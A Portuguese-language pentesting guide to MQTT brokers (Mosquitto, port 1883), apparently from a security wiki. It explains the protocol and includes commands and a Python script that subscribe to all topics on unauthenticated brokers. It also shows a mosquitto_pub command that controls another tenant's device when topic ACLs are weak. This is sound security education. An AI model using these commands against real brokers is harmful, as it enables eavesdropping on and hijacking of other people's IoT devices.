1883 - Pentesting MQTT (Mosquitto)

Reading time: 7 minutes

Informações básicas

MQ Telemetry Transport (MQTT) é conhecido como um protocolo de mensagens publish/subscribe que se destaca por sua extrema simplicidade e leveza. Este protocolo é especificamente projetado para ambientes onde dispositivos têm capacidades limitadas e operam em redes caracterizadas por baixa largura de banda, alta latência ou conexões pouco confiáveis. Os objetivos principais do MQTT incluem minimizar o uso da largura de banda da rede e reduzir a demanda sobre os recursos dos dispositivos. Além disso, visa manter comunicação confiável e fornecer um certo nível de garantia de entrega. Esses objetivos tornam o MQTT excepcionalmente adequado para o crescente campo de comunicação máquina-a-máquina (M2M) e a Internet das Coisas (IoT), onde é essencial conectar uma grande quantidade de dispositivos de forma eficiente. Ademais, o MQTT é altamente benéfico para aplicações móveis, onde conservar largura de banda e a vida útil da bateria é crucial.

Default port: 1883

PORT     STATE SERVICE                 REASON
1883/tcp open  mosquitto version 1.4.8 syn-ack

Inspecionando o tráfego

Quando um pacote CONNECT é recebido pelos MQTT brokers, um pacote CONNACK é enviado de volta. Esse pacote contém um código de retorno que é crucial para entender o estado da conexão. Um código de retorno 0x00 significa que as credenciais foram aceitas, indicando uma conexão bem-sucedida. Por outro lado, um código de retorno 0x05 sinaliza que as credenciais são inválidas, impedindo a conexão.

Por exemplo, se o broker rejeitar a conexão devido a credenciais inválidas, o cenário seria algo assim:

{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}

Brute-Force MQTT

Pentesting MQTT

Authentication is totally optional e mesmo que a Authentication esteja sendo realizada, encryption is not used by default (credentials are sent in clear text). Ataques MITM ainda podem ser executados para roubar passwords.

Para conectar a um serviço MQTT você pode usar: https://github.com/bapowell/python-mqtt-client-shell e inscrever-se em todos os tópicos executando:

> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"

Você também pode usar https://github.com/akamai-threat-research/mqtt-pwn

Você também pode usar:

apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.

Ou você poderia executar este código para tentar conectar-se a um serviço MQTT sem autenticação, inscrever-se em todos os tópicos e ouvi-los:

#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os

HOST = "127.0.0.1"
PORT = 1883

def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/index.html#')

def on_message(client, userdata, message):
print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))

def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()

if __name__ == "__main__":
main()

The Publish/Subscribe Pattern

O modelo publish/subscribe é composto por:

• Publisher: publica uma mensagem em um (ou vários) tópico(s) no broker.
• Subscriber: subscreve-se em um (ou vários) tópico(s) no broker e recebe todas as mensagens enviadas pelo publisher.
• Broker: roteia todas as mensagens dos publishers para os subscribers.
• Topic: consiste em um ou mais níveis separados por uma barra (por exemplo, /smartshouse/livingroom/temperature).

Packet Format

Todo pacote MQTT contém um cabeçalho fixo (Figura 02).Figura 02: Fixed Header

Packet Types

• CONNECT (1): Iniciado pelo cliente para requisitar uma conexão com o servidor.
• CONNACK (2): O reconhecimento do servidor de uma conexão bem-sucedida.
• PUBLISH (3): Usado para enviar uma mensagem do cliente ao servidor ou vice-versa.
• PUBACK (4): Confirmação de recebimento de um pacote PUBLISH.
• PUBREC (5): Parte de um protocolo de entrega de mensagens garantindo que a mensagem foi recebida.
• PUBREL (6): Maior garantia na entrega da mensagem, indicando a liberação da mensagem.
• PUBCOMP (7): Parte final do protocolo de entrega de mensagens, indicando conclusão.
• SUBSCRIBE (8): Pedido de um cliente para escutar mensagens de um tópico.
• SUBACK (9): Reconhecimento do servidor de um pedido SUBSCRIBE.
• UNSUBSCRIBE (10): Pedido de um cliente para parar de receber mensagens de um tópico.
• UNSUBACK (11): Resposta do servidor a um pedido UNSUBSCRIBE.
• PINGREQ (12): Mensagem de heartbeat enviada pelo cliente.
• PINGRESP (13): Resposta do servidor à mensagem de heartbeat.
• DISCONNECT (14): Iniciado pelo cliente para encerrar a conexão.
• Dois valores, 0 e 15, são marcados como reservados e seu uso é proibido.

IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass

Muitas plataformas IoT de consumo expõem brokers MQTT usados por dois papéis distintos:

• Dispositivos gateway/hub que fazem bridge de protocolos de rádio (por exemplo, BLE/LoRa/Zigbee) para a cloud.
• Mobile apps ou backends web que controlam dispositivos via tópicos “app”.

Fraquezas comuns que você pode explorar durante um pentest:

• Plaintext MQTT sobre portas não-padrão (por exemplo, TCP/8001) em vez de MQTTS. Qualquer observador on-path pode ler credenciais e frames de controle. Use Wireshark para detectar tráfego CONNECT/CONNACK e SUBSCRIBE/PUBLISH em texto claro em portas incomuns.
• ACLs de tópico fracas ou ausentes por tenant. Se tópicos são namespaced apenas por deviceId (por exemplo, "/tenantless//tx"), qualquer usuário autenticado pode PUBLISH nos dispositivos de outros tenants.
• Sensitive data leakage via tópicos de manutenção/admin (por exemplo, credenciais Wi‑Fi transmitidas em texto claro após alterações de configuração).

Examples (replace placeholders with real values):

Subscribe to potentially sensitive topics with known topic prefixes and device IDs:

# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v

Controle entre tenants quando ACLs são fracas (publicar no tópico de dispositivo de outro tenant):

mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'

Shodan

• port:1883 MQTT
• MQTT em texto simples em portas não padrão é comum em IoT. Considere procurar brokers em portas alternativas e confirmar com detecção de protocolo.

Referências

• How a $20 Smart Device Gave Me Access to Your Home